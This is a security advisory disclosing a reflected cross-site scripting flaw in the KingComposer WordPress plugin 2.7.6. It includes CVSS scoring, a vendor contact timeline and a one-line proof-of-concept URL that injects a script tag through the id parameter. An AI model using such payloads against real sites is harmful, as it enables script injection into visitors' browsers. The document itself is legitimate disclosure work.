* Vulnerability: XSS
* Affected Software:
[KingComposer](https://wordpress.org/plugins/kingcomposer/)
* Affected Version: 2.7.6
* Patched Version: none
* CVE: not requested
* Risk: Medium
* Vendor Contacted: 10/25/2018
* Vendor Fix: none
* Public Disclosure: 02/05/2019
* Credit: Tim Coen
##### CVSS
6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
##### Overview
The KingComposer WordPress plugin is vulnerable to reflected XSS as it
echoes the id parameter without proper encoding.
##### Proof of Concept
http://192.168.0.103/wordpress/wp-admin/admin.php?page=kc-mapper&id=<%2Fscript><script>alert(1)<%2Fscript>
##### Timeline
- 10/25/2018 Asked for email address via contact form
- 10/26/2018 Vendor responds
- 10/26/2018 sent advisory
- 11/01/2018 Vendor responds that they have strict testing in place,
asks if it is certain that the issue exists
- 11/01/2018 Confirmed that the issue indeed exists
- 11/01/2018 unclear response from vendor
- 11/01/2018 asked for clarification & offered to explain issue further
(no response)
- 02/05/2019 Disclosure
##### Details & Full Advisory URL
https://security-consulting.icu/blog/2019/02/wordpress-kingcomposer-xss/
--
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89
